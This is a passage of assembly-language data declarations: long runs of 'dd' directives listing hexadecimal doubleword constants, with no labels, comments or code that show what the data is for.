		dd 0B0008AA8h, 8ACCE13h, 4AF891CAh, 8B0C7511h, 0C03F8838h
		dd 5731B550h, 0AD642516h, 70DA14D0h, 8B803D99h,	1E66280h
		dd 7DB2B674h, 26C93C1Ch, 4755BFC0h, 8A366EB0h, 3B448067h
		dd 0C92B067h, 0E604942Eh, 51BB38Eh, 0C7360492h,	8011EE7Ch
		dd 0E531C378h, 0C828132Fh, 0EA342121h, 26D835F3h, 0B4922C0Ch
		dd 45083C6Ah, 0CEE80911h, 0E0CEACEDh, 0D3818A35h, 97BF27E6h
		dd 0C6BB0017h, 0AD052901h, 691A19F9h, 4C573A7Ch, 0FE900194h
		dd 85AD920Ah, 0EAE7A020h, 61D2C9h, 902C13BAh, 0C3E64670h
		dd 2D1CF600h, 5EE1FD0h,	32F813B5h, 23843F44h, 9A60005Dh
		dd 0F022158Eh, 0B91C8230h, 0F4C9656h, 2F518950h, 0AAFE4A80h
		dd 0F81695BAh, 348B05DAh, 27C0F788h, 0E14E5Ch, 0ADCE6630h
		dd 0E3257B3Eh, 621CE716h, 6CF6BC04h, 23302A24h,	0E7B904CFh
		dd 0AF1CF4EFh, 1DD6D910h, 0D0A08225h, 6D20AABBh, 0CF32A100h
		dd 0B07D13CAh, 86F209D2h, 0F8000A14h, 3C64AA16h, 0AEC37F06h
		dd 12894E0Eh, 1C5BA2h, 41F28118h, 660153CEh, 826535FDh
		dd 4820729Bh, 0F6C4A078h, 0C389DF2Fh, 5F7CC83Fh, 0FA3BD3E8h
		dd 0A14F20C0h, 1E4A53B6h, 28CC29C5h, 0F37C1780h, 233C3B0Dh
		dd 0AA4600F2h, 0A620A34Bh, 49F69014h, 8CF6B824h, 0DEE73200h
		dd 8E5EED34h, 7CAB01CDh, 0F91746FFh, 0D90FF395h, 8608B5ADh
		dd 614F0Fh, 0AFFE835Fh,	61B06626h, 7A556502h, 679994B3h
		dd 605BC4E4h, 1F56B29h,	6926D28Bh, 0BA4C0EA6h, 0DC1A1F41h
		dd 177849C0h, 1C641DFAh, 0BF04EB16h, 0D2E1AF05h, 0A5E4B07Fh
		dd 0EAFF2905h, 0DCF08CADh, 0F64405Bh, 3F514D60h, 756D6B98h
		dd 171E0143h, 0DD2876CEh, 0B2C073ABh, 46E53067h, 0F8946A00h
		dd 7B4FC5CCh, 0A521C917h, 63950883h, 0B3CCA11Ch, 0A00411EDh
		dd 0D02C3518h, 9625E67Dh, 0D030018h, 252BDED0h,	80912CF7h
		dd 0AA540200h, 1792EA08h, 441E97Eh, 253EFD0h, 783FAD78h
		dd 0C42DF124h, 0B1B7AA04h, 7A449165h, 171C6D8Ah, 7C9147C6h
		dd 80056E62h, 4AE1ADC4h, 38ADB49Ah, 0C10596E0h,	0D3950066h
		dd 0DFBFDB9Bh, 5E63B21Ch, 0CCACE1h, 1217D031h, 0E4282CDBh
		dd 0AA0A3506h, 9DEEF92h, 0D8F6FB8Ch, 2F2FC02h, 15EE0900h
		dd 48FA6945h, 5DE450E5h, 35581F60h, 0A0DD3907h,	0C91328E3h
		dd 82E11576h, 3E3D9C18h, 6350C207h, 0F4BB108Eh,	7D056C02h
		dd 83A2918Ah, 881E24B4h
		dd 0F409DB8Dh, 5A0F4273h, 44FC8728h, 24016058h,	0A396001Ch
		dd 33F8C15Dh, 4E2C19B9h, 0D13923F1h, 0C08014E4h, 0B2A11CECh
		dd 0B4320874h, 0FAAD6953h, 22EC8Ch, 4EDDD888h, 3F3AA697h
		dd 286B0712h, 7973790Dh, 58BCCC38h, 45DA048Ch, 0B0350656h
		dd 2716B31Ch, 0D822F89Eh, 1EB4E036h, 0BB9A804Eh, 1580D574h
		dd 80A8B683h, 0ACF230B9h, 81007A2Eh, 980F66B0h,	626719h
		dd 1EE9FD25h, 0B7AD6921h, 0CD7E6377h, 0C504BC25h, 60F7C470h
		dd 1E400BF4h, 80201FB0h, 981BD01Eh, 0B1EB65B3h,	283AB098h
		dd 0E8294E01h, 0AA0275E9h, 0BEA619Bh, 0E09C4171h, 68418B31h
		dd 0E612FBE5h, 8F7C4480h, 73025A77h, 999BD2F0h,	44A4623Bh
		dd 0D1410714h, 903DCF88h, 19AD2037h, 1646D617h,	0E61F2440h
		dd 97BC71h, 9ADC37B2h, 9BB45022h, 0D924A9F2h, 0F439D059h
		dd 0BCAF9C0Ch, 0E8E3208Eh, 29B00FBh, 3111BABEh,	0CFFD1796h
		dd 43A6F4E8h, 28F2DC2Ah, 547B8B00h, 7E69B685h, 44BA0AB1h
		dd 28103672h, 424300CDh, 81CF5E0Eh, 9F00D913h, 22B074A9h
		dd 0C099BC9Dh, 0CE77A79h, 0EF0F132Ch, 191BE873h, 219FA508h
		dd 2B0C00D9h, 5A28F9EDh, 7A25FF18h, 10A99E0h, 523A924Ah
		dd 0B22030BAh, 30A16030h, 13FE0CEBh, 0A022CF46h, 0CF3D500h
		dd 0AD610EF5h, 900D1E1Ah, 0ED413036h, 0A07E2F38h, 8C03EF75h
		dd 44127A16h, 54FB89BBh, 29365F4h, 0F49A3D4Fh, 80A0E437h
		dd 0A95FDC03h, 6C65B03h, 30D66254h, 2959EB08h, 85005FE4h
		dd 67200C14h, 2D216FBh,	4497BB5Ah, 28953EBFh, 7383EA91h
		dd 0CDC80CF9h, 0D23D3645h, 3AEA86B5h, 48E34Ch, 0EB592C70h
		dd 267627D6h, 6609CF66h, 34900069h, 7BCCB359h, 0A00D58Ch
		dd 3D97B441h, 0A02917E0h, 603A9A98h, 666D315Dh,	20F2D5Bh
		dd 0B4B845h, 0AC70AFEDh, 0EF21008Ah, 0ECE5547Fh, 400E1A9h
		dd 6776D66Bh, 0E0E63811h, 9951C125h, 406D2ED2h,	0B9595CE4h
		dd 32344F15h, 29A0EE8h,	99E120A5h, 349608ABh, 893A1h, 0A59CDF48h
		dd 1800BAD1h, 5868F11Dh, 8D4B90h, 0D02B2A60h, 0F296BB0Eh
		dd 0DCD5D400h, 71C540C4h, 66D6086Ah, 0EA052783h, 5C879FC2h
		dd 0CF8DA820h, 12FF0255h, 86B99BBh, 189F2C41h, 2A0C08E9h
		dd 0A2C4DF13h, 0CF1DB40h, 4D1DBAA7h, 9903C353h,	506E92E2h
		dd 51C164E8h, 48D0F857h, 76B3396h, 0BAB01388h, 260632DCh
		dd 3437649h, 0A280C818h, 310CECC0h, 22D74613h, 0F4D4009Eh
		dd 6EDE480Ch, 3C0174BAh, 8D98AC7Bh, 8245A9Bh, 30DB4937h
		dd 6065FE00h, 21B944F2h, 0C93053Eh, 21E6D61Bh, 55EE49h
		dd 0D334CB68h, 0A1B45233h, 815E210Bh, 19AD810Eh, 58854DFAh
		dd 60334FB8h, 0E2A5A8E0h, 11939923h, 9F037D2Ah,	0BC30D9A5h
		dd 21BB0B9h, 73DE6ABh, 0F7AF0BE9h, 5CF95C05h, 4DAE0714h
		dd 0C00719Ch, 533B5BD6h, 1254FDE0h, 838D9B1h, 0A6C03520h
		dd 4699E0A5h, 0FA2E22A3h, 0E30909Dh, 47BE705Bh,	0C9D23BA1h
		dd 65944839h, 589C39h, 0B130D5D8h, 0AC003EBh, 61FC050Fh
		dd 35465C38h, 0AF9E037Eh, 5C3B465Eh, 0A0186903h, 0E838D4F0h
		dd 0BC9C44h, 86ED7779h,	3DF8BA2Dh, 4A4C587Ch, 0EB3E01C8h
		dd 24F396D4h, 68471021h, 21B45BF1h, 0DEB468A4h,	6DF49E05h
		dd 0BC82FADAh, 40B46262h, 44333400h, 0D67CDE26h, 0A9D5C206h
		dd 941958Bh, 0E62E8E13h, 0A2CD5C00h, 0D407C49Ah, 586981D3h
		dd 5099A026h, 5F7FD11h,	60B22631h, 39A00863h, 0DCA5AAC0h
		dd 0F8C34899h, 0A5CAE4E3h, 0F32E72E0h, 36AC8F09h, 0BE5420E8h
		dd 3A41B45h, 4152D246h,	0D4C196A2h, 0D421A4B4h,	0E280F211h
		dd 0D65BA75Fh, 23F9448Ch, 635FEA00h, 0E24C38ADh, 0E093487Eh
		dd 60F34864h, 26A85FDDh, 70D0BE5Bh, 5F00E528h, 0B8ED6432h
		dd 413EA549h, 3130F2E8h, 0D6EC1159h, 8067884Fh,	63593991h
		dd 61014BEEh, 114940A5h, 67DA7450h, 60A44410h, 24B7E6A0h
		dd 80E83447h, 8AECA5CBh, 28C29218h, 0A51614E0h,	0D42FB8BCh
		dd 0A3023623h, 64E7CF1Bh, 12FC0624h, 89A8BA07h,	0E0002CA6h
		dd 78A4AC96h, 1273A3D4h, 0FEAD6A5h, 1165D514h, 7986F6Bh
		dd 0D36F3F2Ch, 17A8D400h, 6C664852h, 0ABE64706h, 3246D882h
		dd 48A5A71Dh, 34C49B99h, 0A59EE140h, 2507676Eh,	158D5A5Ch
		dd 0CEFAC800h, 0DE4998Eh, 0FC30246Ah, 91C599A5h, 8447E137h
		dd 0B9F1D13Eh, 0B24703C6h, 0D6BC5AF0h, 4BA704C7h, 9576B2D2h
		dd 9C049B34h, 5C24AB41h, 0E7706DF7h, 0B0D259EBh, 9E134302h
		dd 0C048FEFAh, 9C3E578Eh, 963D04AEh, 0E080071Eh, 0ACE9E4B6h
		dd 592D04B4h, 622FD6E8h, 358D216Bh, 0A49FD859h,	0DDADAE05h
		dd 0CA85C946h, 48525005h, 4C22649Dh, 9730A4E2h,	78984C4Bh
		dd 3C012B10h, 0C427242Ah, 0ED4674h, 3C9BFB8Bh, 0D7D333h
		dd 15D9CEC4h, 878ECD20h, 87601A69h, 0B268D480h,	0E030F068h
		dd 5BA5105Fh, 0E825E0E6h, 94D5005Fh, 0DF559D23h, 0E212FA2Ah
		dd 5882AAAEh, 18A319BBh, 2E0C08EDh, 0A6C4BF13h,	0CF5D740h
		dd 6C000E8Dh, 0D45C63B1h, 24454A89h, 88385364h,	0A18E67Ch
		dd 6562A6A4h, 0DBE3B991h, 15D2C064h, 4C7BE1Ah, 0C28EAE0Fh
		dd 0E7149231h, 11592F30h, 883FD6EEh, 37938062h,	0BF7EAB59h
		dd 19023898h, 58B03E04h, 0EA50805Ah, 165DB1F3h,	4DCED4Bh
		dd 807506F8h, 1648C6D8h, 0F43BC8D7h, 76079E23h,	1A402DB3h
		dd 149FEC18h, 0B7A6139Ch, 35B47C50h, 8F30775Bh,	0C0338864h
		dd 928D34A9h, 4097B400h, 4E5E565Ch, 999A04BCh, 88726A0Ah
		dd 48CF1ECh, 5BA65FE3h,	0DC18B2CEh, 0AA5F80BAh,	5346086Ch
		dd 40640162h, 0C66E7596h, 13D472D8h, 0A82032E3h, 12CE4440h
		dd 8D51DBFh, 0DC02369Ch, 0C0E7139Fh, 0C0047AC4h, 8DA35530h
		dd 0E4AA60A6h, 60E8EC04h, 23E9592Eh, 611137D6h,	59368E00h
		dd 53E6585Ch, 6A029824h, 0FF5EE830h, 29A4BB8h, 7672DAD8h
		dd 22858B07h, 9F8854CFh, 95D857C0h, 2FDE08Dh, 9C7B3C46h
		dd 0AC84304Bh, 5FE160EFh, 0DE5B2CA4h, 0E92470F0h, 697E5F01h
		dd 0DA37C353h, 927F3980h, 70DC5B4Fh, 63169705h,	0AC401B32h
		dd 94C5B371h, 5F70229h,	44A8EBF6h, 0F4146840h, 0E83ADE2Eh
		dd 4C134640h, 1F420028h, 3B796055h, 0EF00C71Ah,	0E227ECA7h
		dd 98EA623Ah, 97E507C0h, 43AA08ABh, 89018BCCh, 4EE304E0h
		dd 0E3E752D1h, 64190693h, 684F8B19h, 15A92005h,	9082605Ah
		dd 592B30EBh, 1FD6EA11h, 8F876388h, 0FD255933h,	0F988348Eh
		dd 9BB5FFC0h, 0BA1502F7h, 0D0485639h, 0A2446867h, 26CE5E60h
		dd 8D979F06h, 0C1539Eh,	0DA8392B2h, 8E11A2D4h, 58E5A624h
		dd 50A80A00h, 49BDCAB3h, 0DA92D896h, 9E61801Ch,	9C5653Eh
		dd 15E1AFA4h, 0C60A012h, 0AD09C3C0h, 7BB8E01h, 2382260h
		dd 6C2E175Eh, 0D11B6C40h, 0FE635096h, 0B2180068h, 8CEA31A1h
		dd 0C6122BF6h, 503ADFB7h, 8C09F623h, 3998A331h,	0ACE84CF3h
		dd 0BBAF4D0Fh, 860080D5h, 5FB07C09h, 0B005808h,	176A4AABh
		dd 6037E7FBh, 0CE2C71DDh, 8B176988h, 640258A5h,	0A1D31C6Ah
		dd 0BB2A50B8h, 0FDE06080h, 666DA52h, 0E6345316h, 0A6231C3Ah
		dd 41B87718h, 0A0450984h, 0DC9DE60Fh, 2C80A211h, 5D269EA5h
		dd 759A8D15h, 0F7381BA0h, 1692A849h, 0A47A00CAh, 0F35EEC3Ah
		dd 1A07BA2Ch, 7DB5B8B9h, 0BBCB4000h, 8559C091h,	0FE5D16E5h
		dd 881B9E07h, 3015DB0Ch, 753A5C0h, 8B94F42h, 0DFC4F5ECh
		dd 0AE5BC4C1h
		dd 4400D859h, 1D5FE726h, 0BC075B87h, 254024Eh, 0FC64A1A2h
		dd 20D6C224h, 0E637FB00h, 58DEA611h, 0AF02A8F4h, 700E27D1h
		dd 0A12BC58h, 38428C4Ah, 0BF3681Fh, 2A915897h, 4ACE8381h
		dd 3C98C0DBh, 3A69D032h, 0C505Eh, 2DE24462h, 0D24B70CCh
		dd 0B0772635h, 0ED23583Ah, 714E4400h, 62E051D1h, 6F126868h
		dd 1ACABA01h, 88235464h, 0BE3FCEEDh, 0F834C8FCh, 0B5008C9Fh
		dd 0EF4E990Eh, 631AAACBh, 360ABA2Ah, 0FF627905h, 0A00C7371h
		dd 121B7972h, 429B56D2h, 76BA1FDCh, 0CC01870Fh,	0E24F40F1h
		dd 8C718862h, 0ED593204h, 3CB257D6h, 593A92C0h,	87094B52h
		dd 821E4DD5h, 7E7A0Ch, 880130A1h, 0DD632409h, 0B8C00461h
		dd 12BC3855h, 5C1B491Dh, 8E194A81h, 2821C129h, 60162030h
		dd 7CF3F10Eh, 0FE483B8Fh, 39DC0F3Ch, 0E87094F5h, 6D388C65h
		dd 6F0E0096h, 0F99DCF8Ah, 70BA2502h, 13093480h,	4A025DB2h
		dd 5C6610C2h, 9BF0853Dh, 8CA0FC8Ch, 2B0CEA17h, 0FC384E13h
		dd 0CF207DAh, 551812CCh, 5AECC054h, 3A3240EEh, 71B69991h
		dd 18667110h, 8BA70268h, 754DF2C3h, 9821F9E2h, 0C8BC8566h
		dd 0F01E743h, 3E83FD1h,	2DC448B5h, 6C7F5236h, 0B4009A22h
		dd 0FC4DF8Ch, 4BFBB6AEh, 23A83A31h, 30DE0967h, 8B151B80h
		dd 4B097963h, 0E53DD049h, 6035E498h, 1D5118Dh, 249EB4CBh
		dd 68E607DCh, 0C5402A4h, 0C4A68DE7h, 8F750204h,	0E63806DBh
		dd 0FF39E060h, 808880D3h, 3BFC0043h, 97B89F0Bh,	2A784244h
		dd 0C6800CBCh, 7B7A4192h, 0E9813AC0h, 6B8C3680h, 0D6157F65h
		dd 0DD465B00h, 0FC34AFF2h, 0BC77302h, 74AEECAAh, 9F11101Dh
		dd 0E6303880h, 0DD1D9B59h, 68CAAB24h, 2280803Bh, 0A1FCC312h
		dd 0C6112665h, 737208C8h, 0A08D3003h, 9D290257h, 6009FF5Dh
		dd 36ECD440h, 5D30235Dh, 7EDFB82Ch, 0E29A0D16h,	6870986Eh
		dd 0F0DA19ACh, 9862BB29h, 1673D203h, 80F9CDB7h,	6D2FD8A9h
		dd 0E6B15500h, 412B04A6h, 0FDBB1C7Dh, 0CDBE412Dh, 3C5331ECh
		dd 8CA5BCFCh, 20036A76h, 5DFF5C43h, 46F01778h, 0B5D482BEh
		dd 6871EC59h, 0C8147E18h, 4894F96Ah, 33E88050h,	1FE186BAh
		dd 79184Dh, 0E0669FCCh,	9B0190D3h, 0DBBC1FA5h, 0A1B9A9BBh
		dd 0D6323E83h, 0FC08E89h, 60041F2h, 0B25FA663h,	148C082Eh
		dd 6897BAF5h, 47A78300h, 0E1A9EBDBh, 1048052Fh,	87175A18h
		dd 7DE6C26h, 85510D46h,	0C52BF1FCh, 6467CA40h, 3F609E44h
		dd 15070175h, 0D3AE2408h, 53C35E50h, 9760F18h, 0A4A0D9E8h
		dd 0B433E9C7h, 0DC006074h, 0A0487CCBh, 0C65E62Bh, 2DDDD001h
		dd 21C07508h, 64A040A3h, 55190751h, 72F8618Ch, 31005CD0h
		dd 0E6F2391Bh, 10501E6h, 0C53F5D36h, 0BAEB10CFh, 553B01ACh
		dd 4CE10DD1h, 0E80898A1h, 0B31121h, 6548E3ACh, 0D236D123h
		dd 8A77DA00h, 0D3C27686h, 0DBEE0044h, 0C50D2E81h, 0FA6045D1h
		dd 8C405C98h, 6807006Ah, 19D6A5DAh, 28EE0B14h, 31B9C4Ch
		dd 5661DC52h, 0C6380A09h, 407C2CE9h, 0E624A041h, 70222D46h
		dd 0A0399C00h, 0D3A86CBAh, 745D0F7Ch, 0D1006192h, 12CDB1E2h
		dd 71257218h, 7CCEAF10h, 0E998C7D2h, 0E158A084h, 0BE2C08BBh
		dd 5439A7F8h, 0C700DE98h, 9F6BFB39h, 6017C8B5h,	0C36AD1EFh
		dd 0AC0C410Ch, 896EB4EAh, 66D60010h, 710DD956h,	0BC006D4Dh
		dd 0F93CB048h, 1D8E5DBDh, 8022A074h, 0DA16954Fh, 0BEFA93F8h
		dd 0B49E4800h, 1CDD5361h, 69EC6045h, 0B68F3609h, 0F0297203h
		dd 18216A60h, 20DD0608h, 8F1D2E2Ah, 0ED00C1B7h,	0DA8E5129h
		dd 0C6391518h, 72DCD6h,	0B660FE1Eh, 37C7991h, 9A74F105h
		dd 880076E5h, 47CB5431h, 54AC78CCh, 0FC8CE0h, 66412023h
		dd 5DED8110h, 21F009CCh, 220E21Ch, 5B574371h, 284DB514h
		dd 5BC800EEh, 9FB565h, 141B1F70h, 0DAF6A668h, 58913481h
		dd 0ACB7803Ch, 87B95538h, 0ACB00E00h, 78F37Eh, 0C463725Dh
		dd 0E610E3F4h, 0D5867610h, 6CA40701h, 0CD2C71h,	0ACAFCC46h
		dd 20260480h, 62286644h, 0C85F0BF8h, 1D43D5Bh, 0F917793h
		dd 6E5155B7h, 0E10792EDh, 808A3637h, 0C688509Fh, 82307E00h
		dd 0C894780h, 86D81C59h, 7B94C5Fh, 8338FC35h, 0B52300C1h
		dd 5E829ADh, 0FD90C3Bh,	6625F986h, 0BEF18B39h, 0F60D608Ch
		dd 350F04C1h, 0BE25DF84h, 71B070B6h, 0B8006418h, 0EBA35E1Fh
		dd 98AD95FFh, 45FCB749h, 18465Eh, 1D293DF0h, 525E50FCh
		dd 15E24C5Bh, 0B59A8B30h, 7B9C8EFCh, 91F47700h,	7785C76Eh
		dd 0A7A600A2h, 326F23F8h, 2B29CBB4h, 167159C3h,	0CB17B818h
		dd 0EC0DF9ACh, 0BE031808h, 0AB0A5B33h, 0C200856Eh, 0C6B52EB7h
		dd 95148951h, 2DAA1325h, 3FA0D55Eh, 2875B58Bh, 0C08F18DDh
		dd 2790689h, 0D8828111h, 0ADF8A96Bh, 5F8B6F0h, 0D83EC648h
		dd 919A0CF5h, 37167D5Bh, 90EF5DD0h, 1AEDD754h, 0DA3D9300h
		dd 4D1D4049h, 5754005Bh, 3EB178E7h, 7535BD2Bh, 0A3BBC31Bh
		dd 82A30042h, 0A6574D41h, 90F60007h, 810D5E21h,	2440D1BDh
		dd 297792D0h, 5EA850Fh,	4FADBD8Bh, 1694FF8Bh, 0CD950106h
		dd 0B542192Ch, 0F3F37C50h, 0CF20F9FCh, 0BF429012h, 0F3D756D0h
		dd 5EF05BDDh, 9D0C03F2h, 0E6F5B72Fh, 8B0F4025h,	9889F93Eh
		dd 0B5110A71h, 0A32D6165h, 9F5BDh, 0A606860Fh, 2B7931E8h
		dd 6BF1B719h, 1CB857A8h, 43FC048Ch, 813EE39Ch, 2330D63Ch
		dd 3015A242h, 2909386Ch, 1F08E595h, 801411E8h, 858D293Bh
		dd 3144C72Eh, 84C06AB5h, 80BF0F60h, 2E0D8D5Ch, 0F6BDB38Bh
		dd 0EB615A0Ch, 5D001C6Bh, 6359D99Dh, 2400AEF7h,	84BFD2EEh
		dd 41A6142h, 0F5E68166h, 7521818Fh, 0FDE90229h,	0BF36F68Eh
		dd 1C88018Bh, 8B616CC0h, 2DF105FEh, 0BFAC15BAh,	6031EDF2h
		dd 30E596Ch, 8D85E952h,	325E0124h, 0C13EF4B7h, 19444447h
		dd 432FE960h, 0F48F210Fh, 0A3BF4EBh, 26800F53h,	0F22DB620h
		dd 4EB5F55Eh, 2B98CC80h, 28E49242h, 32E9D464h, 29C21C1Dh
		dd 6425DADDh, 82F7EC50h, 7F2B0C6Ch, 66301468h, 6735B300h
		dd 896177F9h, 5C244C04h, 0AD32B124h, 113E9DDFh,	0B3C5801Dh
		dd 45198C2h, 1C0C3661h,	0E5A9826Bh, 87D7F2DDh, 601644EEh
		dd 0CFE8BE69h, 61F0114Ch, 0EBFABCFEh, 0FBF2E3DBh, 0F933000Dh
		dd 8F4296C2h, 8304C50Fh, 0A6E1BFCFh, 218507C0h,	0F55E8111h
		dd 0D1DFD2C0h, 1062A470h, 0BE90000Ch, 3BD61D64h, 681EE50h
		dd 0FCDD70CEh, 0E8ADC46Eh, 7FFA19E3h, 0CFEE0E3Ah, 8F35518h
		dd 3D11FE8Bh, 0DB9D8D02h, 71DFEBA4h, 843A63Bh, 0FF0B1475h
		dd 0AFCD5FD3h, 0DF9FD60h, 0BAB60C66h, 311D09E9h, 7FB5B100h
		dd 6739D1DEh, 20E9984Dh, 81002545h, 0D459E1EFh,	0B296E942h
		dd 78DCB5B2h, 0C856C6C5h, 9EDDD0BBh, 6D7CAEFEh,	6EE7AD00h
		dd 0E3A099BDh, 7A4D1662h, 86313CDEh, 0C019E35h,	0B010E6BBh
		dd 0F32AE3h, 0BE66B196h, 9D8B259Eh, 5726312Fh, 0D85D8F19h
		dd 0CAFCD427h, 0C9A2F03h, 86E38180h, 0F88B097Fh, 1206DB0Bh
		dd 76B735E1h, 88E6D605h, 62047BE8h, 2A671035h, 0BC4D7ED3h
		dd 4B74600Eh, 862C5B07h, 0AC882082h, 73585C8Ch,	26D1002h
		dd 83615801h, 6FF94EBDh, 3635DFF9h, 5BF6BFA1h, 97D4D1B0h
		dd 58598C0Eh, 628374D7h, 312C5A0h, 31487DE9h, 0B0A52215h
		dd 143814Ah, 0E9C67428h, 25930E65h, 0F9B0D0h, 487491FAh
		dd 3A10D22h, 0AC7C606Eh, 88129331h, 6200AE2Dh, 0B8B7FC2Ah
		dd 916AF8h, 1678B684h
		dd 0B005A40Ah, 0E5BF6102h, 93126497h, 1C53845Bh, 3B2B5080h
		dd 96B9C80Fh, 16D11404h, 2255CB14h, 0B888ED7Ah,	0BDB7DC9h
		dd 903FE0Dh, 0D17B7D83h, 0EBFF23C9h, 0D84D3997h, 0F3D9D7C0h
		dd 91964C8Fh, 0B198D10h, 77DB8C66h, 5963C56Dh, 0ED8398CAh
		dd 6D8D2E09h, 65F69FA9h, 5E575984h, 61402CECh, 17240901h
		dd 45075C3h, 912BDBCh, 1449665Fh, 1F14880Fh, 377B0822h
		dd 540D2701h, 0B3E1C11h, 0D4203E20h, 4C717F41h,	9480CC16h
		dd 50158DC3h, 1DF052E2h, 6A1E3E07h, 6CF0310Fh, 263B4EFDh
		dd 0DC585Ah, 19B04D7h, 6076E969h, 82D89393h, 84560045h
		dd 0B1668E7Dh, 66B890DCh, 0BC43CF0Eh, 70E605B0h, 14F12381h
		dd 4071E401h, 0F513BF4h, 0F1D8B62Bh, 10E1DC78h,	11DFE9A5h
		dd 0BF041B81h, 89BA0218h, 0C68E8158h, 0C38B1B41h, 57C1E66h
		dd 0C4F683F7h, 21E4AE7Dh, 0BD440F3Fh, 0FA203EE7h, 494DCBD7h
		dd 445B158h, 4E8C155h, 9CE1FFB6h, 0B6DC473Dh, 0F729AD03h
		dd 17D1BCE2h, 0F27E1918h, 0D82B2F16h, 0C1E89AEFh, 4BF21650h
		dd 33A96Fh, 30454CDCh, 455A3h, 0DDD896F8h, 63A16D1Fh, 0B54DFF04h
		dd 8F4011E9h, 9682F6B9h, 25280200h, 69E46D48h, 93F7072Eh
		dd 4B5FB388h, 1DFC3701h, 0A90A8F50h, 616FD618h,	7E1F9802h
		dd 0DDE6A76Fh, 9DF4E300h, 0EB37FCAAh, 345E4B53h, 7D4AB2AEh
		dd 37C14D00h, 0AB63ED96h, 17623D3Dh, 4E2DD12h, 121F354Eh
		dd 52E2C48Dh, 0E4C20015h, 0B16FB8D4h, 9F1D726Bh, 72C7FF9h
		dd 122FF108h, 0E476185Eh, 1AC46F04h, 80142E39h,	0E2BCF159h
		dd 1965BD24h, 8413FD08h, 84968BBEh, 0E0E1B6A2h,	24824C63h
		dd 89BE984h, 3C0014C9h,	5A830F61h, 9B2CD202h, 427689AAh
		dd 81EA88B2h, 0A25E5436h, 337BDDC6h, 1E2BD0h, 0E6B0E0F8h
		dd 27B26061h, 5D27014Bh, 81ED00A9h, 24C8F5D6h, 0A5D372B6h
		dd 95896398h, 0BC2D1924h, 1C1C46D6h, 4E406FF6h,	64C14829h
		dd 0B7C19013h, 9D6E9DEh, 58431990h, 14E45A45h, 0B2826D62h
		dd 43091BA9h, 66809AA4h, 0E9C6066Fh, 0A4329A8Ah, 6A203398h
		dd 8D291601h, 0C91F5359h, 0F8E96EDAh, 0F5D0DEADh, 1DC46385h
		dd 360B7860h, 1AB60601h, 4AD4EE4Eh, 1316146Dh, 8F9BEA01h
		dd 0B19AA3C5h, 88674E2Eh, 0E773C215h, 115ADFh, 1E267A05h
		dd 0B2130FCDh, 1C5B21EAh, 0D19B5822h, 181CF1ACh, 0D6B007Ah
		dd 0FB1039D0h, 0B49981CBh, 700F1480h, 259DCD94h, 0C15EDA89h
		dd 69B70301h, 0ECEE586Fh, 4BD9826h, 4845CAA0h, 0C13CDB5Bh
		dd 2BDB0B6Bh, 77FBF5D6h, 5B277558h, 0B3C6290h, 0F0B7C12Eh
		dd 571125E9h, 5BBE68FCh, 1C1E6BEBh, 0F28BA645h,	402E6A98h
		dd 940925E8h, 0C06993C7h, 70B37A6h, 6BEE385Bh, 56E617ECh
		dd 29DF2503h, 0E9B358E9h, 5A0A3D10h, 8A060C3Ch,	52A606D1h
		dd 384009E4h, 0FB8C79CDh, 822C777Ah, 4DC9479Fh,	5F26C0B2h
		dd 3E014014h, 7BB65912h, 522690B3h, 0A54F47F0h,	1D0F73Bh
		dd 0F8DBC41h, 0BD7A148Eh, 2A009671h, 99CE1E09h,	2E349853h
		dd 9CCFD3Fh, 13B718B4h,	0A09DDA85h, 0EB03AB00h,	9412F53Ah
		dd 4C1410ECh, 2DC91092h, 0E922AE5Eh, 13A1C189h,	17EC146Ch
		dd 0C1AC0E8Ch, 89C223E0h, 0C7A1F58Dh, 2C11BD03h, 0B5A750BBh
		dd 0AF26192Dh, 2610C8A9h, 8DAD3FD7h, 85AD83D7h,	0BFA30E0Ch
		dd 23D761CFh, 21E0B450h, 9C00C646h, 0EDA18F14h,	0C4D34h
		dd 0BDC8815Dh, 0B2103C94h, 61595212h, 2987409Bh, 0F49D27A7h
		dd 0E9BE0021h, 481F9AF6h, 9E2DCA8Bh, 0DE36368Ah, 0E2A9D90Fh
		dd 23DEE09Ah, 0A02899B5h, 0C1A331FBh, 0FA8BFBF2h, 788D7333h
		dd 0D30C15Bh, 0AEE81F8h, 1B47B0Dh, 0AAE50B9Fh, 0D122EA4Eh
		dd 4B925h, 7597C3BEh, 0A95AAD9Ch, 536AE009h, 0E803781Fh
		dd 837B6601h, 609B1A65h, 0BACDB5E4h, 7A615AF5h,	723A0CDAh
		dd 0FCA7D238h, 6E055EECh, 9A120026h, 8E7C9491h,	0D960197h
		dd 82F6BF4Dh, 0E3D0DA7Bh, 15200FB0h, 50903932h,	0F5108748h
		dd 4AC89329h, 7DBB0191h, 2A4E9E6Bh, 0B765D030h,	89632B06h
		dd 802E7250h, 0B4B1CCC8h, 6D7F6BCBh, 0D68A6011h, 0A00EDB22h
		dd 0AB4BD4D5h, 87F046ABh, 6019448Ah, 16779CD7h,	42452C70h
		dd 0E98D0133h, 0D302C6FAh, 958950F8h, 5E8BA529h, 2E50E8A3h
		dd 0D13048E5h, 0A6168994h, 28EB8B07h, 0FB93DFB1h, 10E8641h
		dd 48D3DFC2h, 679F270h,	92CE099Bh, 0DF0B238h, 0DF218B81h
		dd 0C337BFAFh, 79193603h, 0AA9280F0h, 35A85ADBh, 4A2EFh
		dd 153D0438h, 3A26CE95h, 48DA8EEAh, 80A65FFCh, 512A03Bh
		dd 35BBD83h, 15BFA4ECh,	4EC47FB4h, 0D00990F7h, 90708634h
		dd 0D75F322Ch, 91DC2220h, 0D0B5572Fh, 0F407909Fh, 22C4D20Bh
		dd 0B2B9748Dh, 3709A655h, 21432AC2h, 0DE142CB0h, 8A0F7317h
		dd 0B4F16FCCh, 39016F67h, 6F44662Fh, 84C55EACh,	0EE1A5E36h
		dd 295DCEEAh, 79E10F9Eh, 85388C40h, 0BE00AC3Dh,	640399Eh
		dd 24B5295Eh, 43F931FDh, 57BB0F52h, 5A5FE1A7h, 0B8CEA58h
		dd 0E935900Eh, 9CB6ADDFh, 5D40F0E7h, 3E38BF26h,	6BEF5EB0h
		dd 0EAD400CCh, 0CD1565A4h, 767E0514h, 8170E6F8h, 692301A6h
		dd 0E8E7481Bh, 8A028C19h, 675849C2h, 0FD3FC062h, 0E860820Ch
		dd 59821FA1h, 99D085Ah,	0E1846DEh, 0CC9CB2F9h, 41E9C6F6h
		dd 31E9DB1Eh, 0A515D595h, 63548910h, 0C5281048h, 81813C21h
		dd 0B4EA25Eh, 812DD82Bh, 2E2ED3B8h, 13995C60h, 6C458CE9h
